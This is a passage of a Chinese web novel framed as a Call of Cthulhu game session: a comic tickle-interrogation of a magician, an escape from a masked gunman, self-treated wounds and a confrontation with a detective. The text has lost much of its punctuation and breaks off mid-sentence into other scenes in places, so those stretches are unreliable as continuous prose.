“我从短暂的人生中学到一件事,”祝槐深沉道“越是玩弄计谋,就越会发现人类的能力是有极限的……”
除非超越人类。
她不做人啦,kp!
“上。”她一声令下。
杰弗里默默回房,从枕头里拆出一根羽毛。
南风按住了他。
魔术师:“……?”
一分钟后,惊天动地的笑声险些震破了房门。
“哎呀”路过的邻居惊讶,“怎么这么大动静?”
“你都不知道。”另一家的也正好准备出门开着门露出个脑袋来跟她解释“这家住的是个小孩,昨天他爸来认他差点被他给轰出去。”
“咦,那现在呢?”
“后来让进家门了要我说父子俩还是得坐下来好好聊聊把话都说开,你看今天笑得多开心。”
“这可别把嗓子给笑劈喽……不过也是啊,还是现在好。我记得这家孩子也不小了那个词怎么说来着‘幸运’?‘福气’?这么大年纪能跟儿子重归于好也挺有福气的。”
“是啊是啊真好啊。”
这但凡让魔术师听到都只有一句话——这福气给你你要不要啊!!!
不过他听不到了他还在狂笑。
“哈哈哈哈哈哈哈你们哈哈哈滚啊哈哈哈啊哈哈!”king在地上疯狂大笑,试图打滚躲过还在挠他胳膊肋下还有咯吱窝的羽毛和手,“哈哈哈哈哈不要靠近我啊啊啊啊啊啊!”
“一二三四,二二三四
南风:“……”
别数了他也快笑场了!
杰弗里:“……”
在场的是不是就他一个正常人?
这过程中实在忍受不了的魔术师眼看着就又要叽里咕噜出什么奇怪的声音被南风眼疾手快地摁住。
手动!打断吟唱!
“哈哈你们哈哈哈哈啊哈是不是他妈的有病哈哈哈哈哈
哈哈!!魔术师要笑断气了,“放开哈哈哈哈哈哈哈我说我说我全都说哈哈哈哈哈哈哈哈哈!!!
祝槐打了个响指。
南风和杰弗里应声松开了几乎笑到缺氧的魔术师,南风还在忍笑,杰弗里就很缺德地“噗嗤乐出了声。
然后马上就被魔术师瞪了一眼。
“我知道的也不多。
南风:“啊?
那你之前还装出一副高深的样子?
“只是相对而言不多!首先,就像我刚才说的,魔术师缓了两口气,依然有气无力道,“世界上存在着另外一种力量。
“咒文,法术,或者也可以叫它为魔法。
他冷哼,“不过和电影里吹捧的不太一样,这可都不是什么好东西。
“一旦过于接近它们,你就会了解到这个世界的真相……这是以你的理智为代价的,一步步过于靠近的后果就是步入疯狂。当然,我也学过那么几个咒语。
“比如改变天气?祝槐忽然问。
自称为“king的魔术师一愣,上下打量她一番,发现她似乎真的只是随便问到了这里。
他谨慎地问:“你知道那件事?
“嗯——在南风欲言又止的神色下,祝槐含糊地把她这个城镇上有这种东西。祝槐说。
“不。
魔术师纠正道:“是一群。
“而且,他说,“它们中的一些有时会披上人皮,乔装成人类的模样,混迹在人群里。
“无数的居民、游客,反正谁也不会专门去注意一个随便在大街上碰到的家伙,对方的长相转眼就会被抛在脑后。
“你们会记得自己有没有遇到过第二个相同的路人吗?魔术师问。
天边已经泛起红色了。
窗户明明早就关好了,他的这句话却像是一缕穿堂风呼啸而过,引得人无端打了个冷战。
“所以,南风愣道,“我们不知道的时候说不定已经……
祝槐想得更远些,“这下牵头亡灵节的究竟是谁没准也有待商榷了。
“意思是我可以偷双倍?杰弗里问。
……重点是这个吗!!!
“玩笑,开个玩笑,看看众人表情,杰弗里讪笑着缩缩脖子,“你们继续。
“我不知道它们的目的是什么,我也不知道它们到底是什么。魔术师声明,“
我碰巧遇到一个还不是适应人类行动方式而露出
了一点马脚的,所以才会想控制着它往那边去,到时候再验证一下我的猜想。
“我们就是追着它去的,祝槐说,“但是在里面什么也没看见。
男人面皮上难得浮出一点惭愧来。
“……学艺不精,他嘀咕,“进去以前就给跑了。
其他人:“……
你行不行啊!!!!!
“这个特别花精力的!魔术师很硬气地为自己正名,“我刚学会没多久,不擅长很正常!
啊对对对。
祝槐思索了几秒。
“那以你来看,她问,“汤尼·佩特是怎么死的?
“你好奇的是刚才那句吧,不过,魔术师斜杰弗里一眼,“这小子开电视看新闻的时候,我零星听到了两句。
为什么只有两句?
当然是因为刚清醒就被又双叒叕打晕了!
魔术师怨气冲天,但他可不敢冒出来,不然他相信这群人绝对把它又变成一连串的“哈哈哈哈哈,只得继续道:
“我说‘被盯上了’,是因为猜测它们既然选定了某些目标,肯定会对他们做点什么,不管是打算替代还是怎样都只是早晚的问题——但是,我认为不会这么早就下手。
“更不会做得太明显,虽然只是不痛不痒地提了句发现一具意外死亡的尸体,提倡游客和当地居民减少夜晚独自出门,然而从另一层想想,也不失为一种……
“警告。祝槐说。
魔术师扬起眉毛。
“没错。他说,“而且不是对所有人的,只是对一部分知情者。
“我想他可能看到了什么不该看的东西,说不定死亡也是个意外,把他挂到树上才是示威或者警告……
“所以才会出现这样一边尽量压消息一边还特意告诫民众的矛盾局面,他在听他们概括了几句外界状况后总结道,又冷笑了声,“你们还要在夜晚出门吗?
“明后天不一定,祝槐说,“但是今晚会。
魔术师忍气吞声地算了算自己昏过去的时间,阴阳怪气地“哦了声,“你们居然还要去参加那个。
“来都来了。她道,“总得去看一眼吧。
也好看看不惜压下人命也要办的典礼到底是个什么样子。
“你呢?祝槐问南风。
南风和她的想法
一样,“去……吧。”
他头疼地啧了声,“就是肯定得回酒店一趟。”
最开始汤尼给他们讲解时配套的旅游小册子就写得很明白了,毕竟是用来招徕游客的,本来也是轻松休闲的风格,并不要求怎样正式,只希望大家着装得体就行。
不过他们在外东奔西跑了一天,还是回去收拾一下换身衣服得好。
“……你们就这么走了?!”见他俩还真要动身,魔术师一下子急眼了,“你们敢走,你们前脚走,后脚我就拉着他当人质!”
杰弗里:“……”
他看看男人拧向自己的身体,又忍不住看看对方脑袋后头那个大包。
谁把谁当人质?
“明明学了咒语,”祝槐慢悠悠地说,“却根本没有用武之地。”
“是因为那个吧。”南风深沉道,“施法还要做准备工作,还要前摇。”
断读条这种事断着断着就很顺手了呢!
魔术师:“………………”
你们再骂!你们再骂!
眼见得被这有声的没声的一通鄙视,年纪可能得有在场三个人中的两个加起来那么大的大龄中二病像条毛毛虫一样扭着扭着把身体转过去,背对着他们。
自闭了。
祝槐抱着胳膊
在旁边看了他两秒,从桌上那堆杂物里抽了根木棍,蹲下
身戳戳他肩膀,“真哭了啊?”
魔术师:“???”
他愤怒回头,“你当我三岁小孩?!”
结果他一转过头,对上祝槐笑吟吟的眼神,顿时又觉得上当了,“……喂,谁不生气啊!我的书好端端地放在那儿,你们给我落下了。我跟你说,这事,没完!”
“行,”她很干脆,“你说怎么赔?”
“不,我是不可能原谅你们的。”魔术师铁骨铮铮,一字一句掷地有声,“我今天就是绝食而死,就是撞在这桌角上,你们不把书给我找回来,我就赖在这里不出去了。”
南风欲言又止,毕竟是受着“不能乱拿别人东西”教育长大的新世纪青年,他的良心是有一点受折磨的,虽然东西不能还人也不能放,但至少——
下一秒,他就听到对方说:
“除非你们帮我拿到教堂里的东西。”
……志气呢!!!
祝槐:“……”
杰弗里:“……我好像记得人是你们绑来的。”
“绳子确实不是你的
幻觉。”祝槐欲言又止两秒“给他解了吧。”
反正人是不会跑了。
小偷抓狂“嘿!这是我家!”
赖在他这儿算怎么回事啊!
“又不是就不管了。”祝槐挑眉指了指旁边的南风“他不是还要给你补偿吗到时候找他要钱。”
南风正心虚着闻言马上打哈哈笑道:“一定一定。”
“书!”魔术师还在抗议“我的书!”
“好好好你的书。”
她安抚完这边安抚那边“等会儿我们去广场那边的时候看看不行就想想怎么去教堂。”
“不过——我话说在前”祝槐语锋一转“你既然推给了我们就代表你自己也知道这件事其实是很难办成的所以我也不保证能不能真的拿到。”
……咳。
杰弗里给他解了绳子魔术师理直气壮地揉了揉背在身后太久以至于酸痛的手腕“但是——”
祝槐歪歪头打断了他“看在你确实告诉了我们不少情报的份上我们会试试。”
反正知道了教堂里有什么了不得的东西那是肯定得去看看的。
“那你们可得尽快”目的达到了但魔术师也深谙闷声发大财的道理他没表现出窃喜明面上还在嘀嘀咕咕念念叨叨“说不定可不止我一个冲着这种东西来的我就听说过有个叫尤什么特什么的组织——”
“组织?”祝槐好奇地问“什么组织?”
魔术师“嘶”地倒抽了一口凉气“我也只是听说好吗……”
“尤……尤克……”他皱着眉头回忆“应该是‘尤克特拉希尔’。”
这名字有点耳熟。
祝槐思考了下
魔术师:“对对对。”
“世界树、宇宙树反正一般差不离就这两个说法。”他说“那群家伙应该是和教团对着干的吧要我说简直是白费力气。封印总是在松动的教团的活动也越来越频繁了邪神早晚要苏醒做再多也不过是让那个期限再晚点来罢了……”
他的话里充满了知道得越多就越悲观的消极祝槐倒是不以为意“也总是有人重视过程胜过结果的。”
她笑道:“你自己不还是明知道结果不会好但也想多知道点东西吗?”
魔术师不置可否地哼了一声。
杰弗里忍不住扭头问南风“你听懂了吗?”
他语文和历史从小学起就没及过格了。
南风:“呃……”
“哎管他什么树不树的”他挠挠头“反正只要赶在他们前头就行了吧。”
他看向外头天色“时间好像也差不多了咱们再不走会不会有点奇怪了?”
祝槐瞥他一眼低头看了看表“的确。”
他们单独在外这么长时间指不定会引起另外两位队友的疑心呢。
“那我们就先出发了。”祝槐像是才想起来似的“哦对说起来是不是还得有人留下来看着——”
虽然魔术师表示自己不跑还要赖在这但话谁都会说是吧。
杰弗里:“……”
行了别暗示了!
“我留我留”他不耐烦道“反正我对开幕式也没什么兴趣。”
“谢谢你杰弗里感恩你杰弗里。”祝槐马上一把抓住他的手“我们都会铭记你的付出还有让我们的友谊万古长青的这一天——”
她一通夸赞夸得杰弗里晕晕乎乎等到手被松开对方也转向了魔术师才咂摸出不对来——等一下他们哪来的什么友谊?
一起当绑架犯和帮凶的友谊吗?!
“先说好既然答应了你我就会尽力去完成。”祝槐说“但是我们都知道现在双方还没有建立起信任关系如果你要在我们不在的情况下对他做什么或者在他身上动什么手脚——”
她微笑“你懂的。”
魔术师:“………………”
他被迫锻炼过度的肺部和小腹又开始酸痛了。
不他不想懂。
杰弗里沉默了。
——不管了
“再别说了还我报复他我这都成什么样了。”魔术师的眼睛贼溜溜地转了一圈按下那些还没来得及付诸实践就被识破的心思“我去躺——”
别人还没来得及搭把手他自己就一生要强地挣着要起来结果声音就在起身的那一瞬间戛然而止。
所有人:“……”
他们都听到了清脆的“嘎巴”一声。
这下是真不需要再担心什么了把自顾自闪了腰的天生谐星就近扶上沙发安顿好祝槐在药店门口等了会儿等到再上楼送了趟药的南风回来俩人一起打车回了酒店。
他们的关系还没好到专程打电话去问另外两人路上也没见着卡洛琳和刀疤的影子祝槐和南风也就干脆在走
廊房门前道别,分头各准备各的去了。
奇怪的是南风还没她快,祝槐靠在前台旁边百无聊赖地等了会儿,同龄人没等到,先等到了卡洛琳。<
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p>卡洛琳换上了一袭裙摆过了膝盖的长裙,只是还是灰黑色调,见她就微笑着打招呼,“你们回来了?”
“刚回来一会儿,”祝槐自然也很友好,“你们呢?”
“休息了得有几个小时了。”卡洛琳无奈,“也不知道‘刀疤’他昨晚做什么去了那么累。”
“是外出了吗?”
祝槐好奇地问,“我听说是夫人你帮他澄清的误会。”
“那我可不好断言,只能说我们确实是在外面碰见的。”卡洛琳说,“顺便一提,司机已经回来了,等会他们下来可以一起坐车去广场那边。”
“对了,”她问,“明天要一起吗?”
祝槐:“明天?”
“狂欢日。”卡洛琳解释道,带着有些不言自明的笑容,往温泉标牌那边抬了抬头,“你知道的,有时候还是女性同行方便一点。”
“看情况吧,我还没想好明天的具体打算呢,能一起当然好。”祝槐没有直接答应她,“再说了,出了人命这种事,我也有点……”
“斯图尔特夫人真的还有玩乐的心情吗?”她问。
“与其说
有心情去玩乐,”卡洛琳淡淡道,看了看自己的裙子,“只是看淡了生死吧。”
“钱也花了,虽然说会退款,但毕竟来了这么一趟,不体会下也有点可惜。”
两人交谈间已经走到了一旁免得挡到路人,电梯那边传来“叮”的一声,她看向走出来的两名男性,“你们这么巧也碰上了?那直接出发吧。”
和专程回来换了衣服的南风不同,刀疤还是早上那身——虽然本来也挺板正——脸上倒看不出什么疲色,一举一动都很是有点精气神。然而他依旧不是南风擅于相处的类型,俩人在电梯轿厢里估计没说几句话,后者尬笑着也向卡洛琳点点头,就赶紧逃命似的往祝槐这边走过来,这才从她口中听说可以直接搭旅行社的面包车去。
一行人还是按之前的座位上了车,只不过这次副驾驶上少了原先坐在那里的人。
胡子拉碴的司机脸上看不出悲喜,对他们一副公事公办的态度,闷声不吭地抽着烟,等人都坐好后就发动了车。
开幕场地当然是在广场,司机给每个人留了电话,等他们都下去就驱车走了。到了这里也没有非得再一起的
必要,祝槐大大方方地跟队友打了个招呼,随便找了个座位先坐下了。
游客和居民们都开始陆续进场,广场四周早就安排好了供人休息的零散座椅和长桌,中间是预留出来待会儿用作露天舞池的宽阔场地,再前方是之前搭好的舞台,不用说,是要进行表演的。
祝槐注意到那一排帐篷——包括魔术师的——都拆掉了。
如果就这么告诉魔术师,他肯定会气炸掉的吧。
心里这么想着,祝槐却没有任何要行动的意思,她坐下的时候就已经离开场还剩十来分钟。她拍了两张照片给养父母发过去又摸了会儿手机,就看着数字一点点地临近。
七点整,亡灵节准时拉开了序幕。
天色黑了,悬挂在头声‘请’吧。”
“想必警探不是在意这点小节的人,”她挑眉,“还是说我看错眼了?”
小提琴的碎弓震起水波,掀开了覆于多瑙河上那层朦胧面纱。圆号不甘示弱地吹响,正式宣告了圆舞曲的开篇。
塞缪尔带出一步,他们转了两圈,又偏偏挑了个不近不远的位置。
说远吧,随时都能滑入人群,说近吧,在乐曲的遮盖下,别人说话是决计听不到的。
“这个问题我回答什么可都落不着好。”
年轻的警探说:“贝奈特小姐对我的印象怎么这么差?”
“这不应该问洛佩兹先生自己吗,”祝槐不软不硬地抛回去,“难道那句话当真没有带到警探先生的耳朵里?”
“如果你说的是那晚……”塞缪尔略一思索,“很遗憾,看样子他们不太愿意看到客人在酒吧里发生任何争执。”
祝槐噙着笑跟着他右旋,运步时一个不留神,鞋跟直接落上了身边人的脚背。
“啊,抱歉。”她满怀惊讶道。
塞缪尔:“……”
认真的吗!!!
所幸她今天穿的不是高跟鞋,这点疼还不算什么——就是一低头时那半块鞋印实在太明显了点。
“……不,”他维持住脸上岌岌可危的微笑,“没事。”
祝槐瞧着对方神情,脸上那点微不足道的歉意来得快走得也快,只是又配合着退开一步,滑进了下一个节拍。
随性而起的露天舞会,又是以轻松闻名的华尔兹,大家的舞姿或许不那么标准,但不会有谁比这周围的空气更隐隐地暗潮涌动了。
“原因不是很简单吗,”她说,“我不喜欢太假的人。”
塞缪尔“哦”了一声,微微上扬的尾音讥讽又促狭,“那贝奈特小姐到底是讨厌我,还是讨厌自己呢?”
“那当然是更讨厌别人试探我。”祝槐无声地笑笑,“警探先生有话直说,我不觉得你真会在这场舞会上浪费太多时间。”
“我果然不喜欢和贝奈特小姐这种聪明人打交道。”
与话语相反,他的手还扶在她肩胛后,她的则是轻轻搭着对方的肩膀,连两人交叠在一起的另一只手都只是虚握。最直接最毫无保留的接触竟然是自始至终相对的视线,话说到这一步,祝槐终于从那褪下的温柔里看出点不加掩饰的探究来。
“所以速战速决吧,”他说,“贝奈特小姐怎么看艾伦·阿狄森这个人?
”
祝槐差点就想皮一下。
她咳了声,咽下那句“用眼睛看”,严肃认真地给不在场的南风发了张卡,“他是个好人。”
塞缪尔:“?”
“就没有任何一点不对劲?”他忍不住问。
“没有啊。”祝槐毫不犹豫道,“警探该不会要暗示我说他和凶杀案有关吧?”
塞缪尔打量着她的表情,眼神微妙了一瞬,不过只是稍纵即逝。
“不一定是你想象的那样。”
他终于说:“如果贝奈特小姐保证不告诉别人,我可以再透露一点细节。”
“我保证。”祝槐马上说。
塞缪尔:“……???”
诚意呢?!
“这根本不是需要犹豫的事吧,”祝槐义正辞严,“既然警探相信我,我就要对得起这份信任才行。”
……算了。
“艾伦·阿狄森当晚的行踪存在疑点,”舞曲越发热烈激昂,他们的舞步却因着谈话的内容放慢了不少,塞缪尔垂眸道,“警方调取了监控,在你们两个碰面前,他单独出来过一趟,和佩特的死亡时间很接近。”
“但这不能解释我在见到他的时候,他的衣服都很干净。”
祝槐冷静地问:“洛佩兹先生真的只因为这个盯上他吗?”
塞缪尔浅淡的笑里这次多了点赞许。
“其实还有我负责的那桩案子,”他说,“二十年前的一家四口灭门案。”
祝槐眉心一跳。
“难道你是说……”她作出一副努力回忆的样子,“海登?”
话音未落,祝槐看着面露讶异之色的金发青年补充道:“我们出警察局的时
第19章 亡灵舞(九)
门悄然落上。
祝槐不想暴露,只来得及瞥上一眼,光线又暗,她能看到的就是进门的那人个子挺高。
也许她该庆幸进来的是个人。
……至少看上去是个人。
似乎也和她一样动过手脚,辨不明真实高低和男女,自然也瞧不出具体年龄。
她的后背紧紧贴着墙,听声音,对方还站在原地。
“我知道你在。”
那人忽然开了口。
不是男声,也不是女声,经过变声器处理的声音不带多少感情,不如说更像是含着一种恶意的嘲弄。
“大家都在宴会上,你不会错过这个不引人注目地回到自己家来的机会——侥幸脱逃的‘幸运儿’?”
祝槐在心里幽幽叹了口气。
她猜到会有这种风险,但看在收益可能比风险高的份上……就是没想到来得这么快。
对方知道来的是当年的幸存者,于是也这样来到了这座宅邸。
这其实可以说明两点。
这人大概率就是当初的凶犯,以及,他或她,并没有十拿九稳除掉她的把握。
不然不会遮掩身形还刻意变声,还不是为了以防万一怕她逃走,自己的真实身份也跟着暴露嘛?
由此可见,甚至可能是她认识的人,但就像她还没有完全锁定对方,对方也不确定阿维丝·贝奈特就是洛娜·海登。
但她此刻的处境依然很不妙。
“你可以叫我‘杰克’,”对方笑着轻声道,“‘杰克之一’。”
远处的黑暗里,响起一声清脆的上膛声。
之一?
祝槐的想法不合时宜地跑偏了。
——难道要说“像我这么厉害的还有十七个”吗?
“门已经锁上了。”
在落锁声后,杰克不紧不慢地一步步往里走,“我不介意跟你玩玩猫捉老鼠的游戏。”
“啊——对了,”杰克望见地上那个白线画出来的轮廓,“我那个时候就是在这里杀了你爸爸。”
祝槐很清楚,这是在激她。
只要她忍不住出了声,对方哪怕没能得手,也可以借机缩小她的身份范围。
也可能还有另一个原因,秘密告诉她手法十分残忍,以可能是直接一刀毙命却在死后折磨了尸体这点而言,杰克……应该是个相当恶趣味的家伙。
“他听到动静跑下了楼,撞见我的时候还求我不要杀了他的妻子和女儿,有什么账都找他一个人算。
“我当然不会答应了,你妈妈在卧室保护着你姐姐,所以解决掉她们两个也很轻松,唯一不足的就是竟然不知道这家有两个孩子。
“所以——我来弥补当年的小小遗憾了。
“不敢出声?
杰克饶有兴致地问:“你在客厅吧。是啊,你肯定会在那里的,注意到我在瓷砖背面装了感应器了吗?我好奇那是什么很久了,现在终于等到了说不定可以打开它的人。
“代号太土了,
杰克:“……
杰克:“?????
女声抑扬顿挫,毫无感情色彩地棒读着每一个字,让人听了只想高呼一声——
是你啊siri!
祝槐删掉刚才的那句话,继续打字,按下播放键。
“以及,不是猫捉老鼠。
“好吧,杰克无所谓地耸耸肩,拨开保险栓,“你说不是就不是。
脚步声从客厅响起的一瞬间,举枪的黑影猛地也转过拐角——杰克还是晚了一步,视野之内只来得及捕捉到
在厨房门砰然关上时飘扬起的一小片衣角。
但不如说这恰恰中了杰克的下怀。既然并非单纯的杀手,自然是享受猎物到手前的挣扎的。
关门后便是急匆匆的反锁,可老旧生锈的锁头哪有半分阻挡得了的可能,杰克后退半步,肩膀一使力狠狠撞上门板,立时就听到了门栓崩断的声音。
厨房木门应声而开,可也就在同时,杰克又听到了siri那一板一眼、极具嘲讽意味的机械音——
“是猫和老鼠。
骤然响起的话语影响了杰克的判断,当注意到视野中出现的那一大团黑影便为时已晚。但哪怕是迟了,多年下来的经验和本能也完全足够杰克条件反射地出手击中了迎面而来的重物。
于是这就成了最错的一步棋。
被打破的编织布袋飘忽落下,铺天盖地散落出来的粉尘遮盖了视野,连带整个厨房都充斥着一股呛鼻难闻的味道。
……呸呸呸!
还不等杰克吐出嘴里完全发霉的陈年面粉、去揉被迷了的眼睛,眼前又彻底一黑,踉踉跄跄间还被谁重重撞了一下。
对方紧跟着夺门而出,杰克稳住身体,听出动
静是往楼梯那边去的当即一把扯下蒙上自己脑袋的破桌布毫不犹豫地对准斜上方扣下了扳机。
“砰!”
枪口迸出灰白色硝烟高速旋转的子弹在楼梯扶手上擦出焦黑痕迹最后在对面墙壁上留下一个漆黑弹孔。冲上楼梯的那个身影摇晃一下还是消失在了尽头。
祝槐倒抽一口凉气捂住伤口的掌心湿漉漉的正在不断地往外流血。
所幸计划还是起了效她争取到了一点时间但不能去过于空旷的客厅也不能去门廊。
杰克说的锁门还在其次前门那里的走廊就是一条又长又直的通道背对着有枪的敌人简直就是找死。
祝槐踏上最后一阶视线迅速转了一圈径直拐入了最近的那个房间。
要拍掉那些碍事又进到眼睛里的面粉已经花了点功夫那一枪的元凶才刚刚走上楼梯虫蛀已久的木质台阶在踩上去后就发出“咯吱咯吱”的噪音——这样一来倒是也清楚对方为什么选择先转换阵地而不是直接逃跑了。
杰克并不是很着急
他打中了哪怕只是擦伤普通人也会因为突如其来的剧痛丧失行动能力不可能跑得太远。
所以——
杰克的目光定格在血迹消失的那扇房门前。
找到了。
他上前直接握住了门把十分轻松地将其拧了开来过于惊慌的猎物连门也忘了锁只有大团血迹一路通向了主卧的床底。
杰克忽然意识到有哪里不对劲。
太安静了。
自从上到二楼来这一层仿佛就只剩下他一个人的声音。
一个身中枪伤的人如果未经训练能忍得住一声不响吗?
意识到可能没有自己想象中那么简单他留了个心眼注意起地上的血迹果然看到除了通往床下的以外还有几滴不起眼的落在了几米外的衣柜前。
居然跟他玩这手。
杰克扬眉几乎能想象到身后近两米高的大衣柜里是个什么情形。
他没有立刻行动而是先装模作样地往床边走了两步在确认背后依然没有任何动静后倏地一回身握住了衣柜的把手。
枪口在猛然拉开柜门的同时举起直直对准了里面只等着再度扣下扳机的一瞬间。
多年前遗留下来的污点就会在这一刻被诛杀。
然而。
杰克彻底愣住了。
—
—空的。
和他以为的将目标抓了个正着截然不同衣柜内空空荡荡只有两件还挂在衣架上的、老旧到稍微用力去碰就能碎成布片似的衣服。
别说人了连血迹都没有半点。
杰克这下真反应过来了
房间里也没有其他能藏下人的空间杰克意识到自己被彻头彻尾地耍了当即推门出去四下一望锁定了对面那间虚掩着门的次卧。
从对方上楼到他上楼其实差不过几分钟不可能会是别的地方了。
他强压着怒气推开了门。
正确答案来得太晚那就不会再作数了。
次卧之内的唯一一扇窗户大开着床铺上就剩下了光秃秃的床垫。被扯下来的床单绑在窗边的床柱上打了个还算结实的结后似乎是被谁拖拽着垂到了窗外在夜风中猎猎作响。
胡乱拧成一股的床单还蹭上了血完全不打算加以掩饰后一切再昭然不过。
要真是如此也就罢了。
旁边的墙壁上留下了一个龙飞凤舞的、大写的“z”对方还有闲心用儿童蜡笔在旁边画了个十分潦草的鬼脸。
两颗黑豆似的眼睛斜向一旁对钩一样的嘴巴还有眼睛旁边的星星。
十足的挑衅十足的嚣张。
杰克:“………………”
这日子没法过了!!!
祝槐在草丛里找到了自己藏起来的纸袋这才松开了那块用来堵住伤口的破布。
枪伤还是有点疼的所幸不是贯穿伤也没有打到动脉子弹只是擦着她的胳膊过去钻进了墙里。
即便如此深度也颇有几分可观不过就是因为这样她才能借机先在主卧里故意留点血迹误导杰克再赶在他上楼前躲进另一个房间趁着对方查看时从窗户离开。
反正只是二楼她需要的就是下降一点高度好缓冲跳下去时的冲击床单足矣。
哦还留了点小小的纪念品。
那一枪打掉了她三点hpkp只在中途这么通知了一声这会儿才重新冒了头。
【如果你能搜集到急救用品可以过一个急救检定。】
祝槐:“……”
她哪来的急救。
笑死,根本没点。
“用不着。
她赌急救那只有30的基础值还不如自己动手,不过基础值好就好在也可以加上她60的手
枪技能当作接受过这方面的培训,足够解释她所作所为的合理性。
她这几年早就跟姜薇学了不少急救的常识,处理这点伤口绰绰有余。
才买的那件衣服被祝槐毫不留情地用匕首沿着缝纫线扯开了,用几块布条按压止血后,她才收拾收拾把东西归拢到袋子里,起身走向了街角的自动贩卖机。
烟酒和饮料的售卖机是挨在一块的,她挑了罐酒精浓度最高的,又到旁边买了两瓶外地牌子的纯净水,重新环顾一周,找了片僻静且白天也应该不会有什么人去的灌木丛。
祝槐单膝跪在草地上,脱掉破损了的外衣,把东西都在面前放好,刚咬上一团布条,拉开易拉罐拉环,就听到kp又来刷存在感。
【我觉得可以进行一个意志检定。】
祝槐:“?
她看着像是需要过的样子吗?
kp:“……
差点忘了这位前两次六亲不认毫无波动的san值。
【您继续,您继续。】
他讪讪道。
祝槐没再管他,
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直接对准伤口将酒液倒了下去,刺痛感瞬间扎得她低低地闷哼一声,但她的手还很稳。
凑合着倒完了那罐酒精饮料,她又用那两瓶水冲洗干净伤口和周围的血迹,这才用剩下的布条绑上去,重新包扎过。
如此一通下来,血腥味被冲淡了不少,又被酒气盖过,基本上是不太闻得出来了。祝槐吐掉咬着的布条,将这些沾了血的东西收集到一起,再脱掉手套,换上了另外一件干净外套。
还好她有先见之明多带了一件。
这些充其量只算得上紧急处理,祝槐起身到路边将破布和可以当作她身份证据的那几件衣服都分开扔进远近的几个垃圾桶,纸袋也干脆一并处理了,这才掏出手机,开始查最近的药店。
她的运气还可以,五百米外就有一家24小时营业的药店。前头做的准备工作派上了用场,她还戴着帽子,看上去不怎么起眼,提着酒精药膏和绷带去结账的时候店员都没有多看一眼。
祝槐是有点享受生活或者说及时行乐的闲情逸致在身上的,毕竟以她自己的说法,十多年都过来了,哪还怕什么小风小浪。闹了惊心动魄的这么一出还受了伤,她甚至有
心情在出了药店以后去旁边的便利商店买了盒冰激凌犒劳一下自己。
又冰又软的奶油融化在舌尖上时甜丝丝的缓解了不少伤口处的疼痛。
祝槐边走边吃一勺勺地很快挖见了底把空盒连勺子丢进垃圾桶就掂了掂兜里那个小包裹的分量。
她指不定还得跟杰克说声谢谢不然还真没这么快能发现是那块瓷砖底下藏着东西。
不过嘛——
她想象了一下对方现在的反应。
前提是没有被气死。
祝槐还在思考今晚应该回酒店还是去什么地方暂住。她现在有理由怀疑杰克的可能人选要不是那家伙拿着枪怕近距离走火她也得防着自己被看到备选范围就简单多了。
分岔道在下一个路口她还有一点时间考虑。
结果就在转过拐角的刹那间祝槐差点撞上几乎在同时拐向这边的人。
“?!”
“哎!”
伴随着小声的惊呼两人不约而同地倒退半步
这泉城可真够小的。
或者该说大家都趁着这会儿当独狼呢?
“晚上好”祝槐若无其事地打了个招呼“阿狄森。”
她看了眼南风身后。
那是矿泉井区的方向。
南风的心理素质就没有她这么好了帽檐又遮住了她的大半张脸他听到声音才知道是谁面色尴尬地摸摸鼻子“咳、咳咳晚上好啊贝奈特……”
“舞会不好玩吗?”
祝槐的恶趣味上来了故意问道:“我看你挺受欢迎的嘛。”
南风:“………………”
不要在这种事上鞭尸啊!!!
“就——就那样吧”他打着哈哈脸上满满都是招架不住女孩们热情的后怕“我有点累了就跑出来了。啊这么说来你是……”
“我就不能是同样的理由吗?”祝槐反问“我还专门回了趟酒店换衣服呢别告诉我你完全没发现我不在啊我会伤心的。”
“这不能怪我吧!”南风语气委屈极了“我跳了几首好不容易才突出重围。既然碰见了又这个点了一起回去?”
她歪歪头“好啊我没意见。”
祝槐笑道:“但是三人都在的话只有两个人先走了是不是不太好?”
“……”
南风的脸色瞬间变了一
变。
“三个人?”他马上问,“你说这里有第三个人?难道就是可能杀了汤尼的——”
“不。”祝槐不紧不慢地打断了他,“是你迟到的前一天晚上去见的那个。”
南风张了张口,脸上又是不解又是疑惑,显然要解释什么,祝槐没有给他这个机会。
算了吧,她今晚可懒得演了。
“我当时就在想了。”
她说:“你明明根本不懂酒也不会喝,为什么突然去酒吧呢?”
“除非是有人约你在那里碰面,那天的酒吧要找个角落也很容易,可惜刚出房门就被我给截胡了。”
“所以你只能等回房以后再出来,这么一来一回还挺耽误时间的,这样就可以解释你的迟到了。”祝槐叹气,“另外,我必须得说,你岔开‘king’话题的方式真的很蹩脚。”
“想想你藏起来的那本书,‘尤克特拉希尔’,或者‘世界树’——你们跟这个组织脱不了关系吧。”
南风:“……!!!”
他的脸上理所当然地浮现出沮丧和懊恼,不过祝槐现在的注意力不在他身上。
“请我的那杯酒其实是为了引起同伴的注意。”她说,“知道他太相信我肯定会露馅,所以故意让我留心他,假如我是那个幸存者,同时也能误导我以为瞒住了自己的身份沾沾自喜,进而暴露更多线索。”
随着她的一字一句,原本趁机藏身在巷间的青年缓步迈出了黑暗,离开那张带笑的面具,他此刻的神情冷若冰霜。
“而如果我真的去联系你,你就可以知道我对他起了疑心,先一步作出应对——”
“我说的对吗?”
祝槐笑问。
“洛佩兹警探。”
()
第20章 亡灵舞(十)
塞缪尔·洛佩兹微眯了双眼。
虽然看不清他的眼神,但那打量的视线已经不加掩饰地扫过来,有如实质地凝在她身上。
“这个问题还有必要吗。”他说。
他穿回了那件风衣,只是也多了点别的东西,比方说现在一只手看似随意地撑在腰际,实际已经是按着了绑带上的枪套。
“我又没有敌意,”祝槐笑笑,“别这么警惕嘛。”
南风左看看右看看,终于壮着胆子插话道:“是……是啊,其实我觉得——”
“你觉得?”塞缪尔毫不留情地截断他的话头,“那你解释一下她身上的血腥味是怎么回事?”
南风一愣,“……什么血腥味?”
祝槐:“……”
这人离得也不近,嗅觉是不是多少有点离谱。
“这个我能解释,”她友好地抬起右手,“是我受伤了。”
她本来也是虚拢着外套,敞开领口往下一拉就露出了一截绑好的布条,塞缪尔打量了两眼,再看看她拎着的塑料袋装的都是些急救用品,至少是把枪给松开了。
他问:“你离开广场以后去了哪里?”
他的语气不太好,不如说不再以警探自居后,才暴露出了这样的真实性格——倒也不像是在针对谁,只是无差别的尖锐与冷漠。
祝槐可不吃这套。
“我得说你现在比之前让人舒心点。”祝槐笑眯眯地回敬,“不过要不是这样审问犯人的语气,兴许我心情好的时候还会回答你的问题。”
他俩不客气地你一言我一语,夹在中间的南风对着这个欲言又止对着那个止言又欲,最后活生生成了个两面受气的受气包。
南风:“呃——”
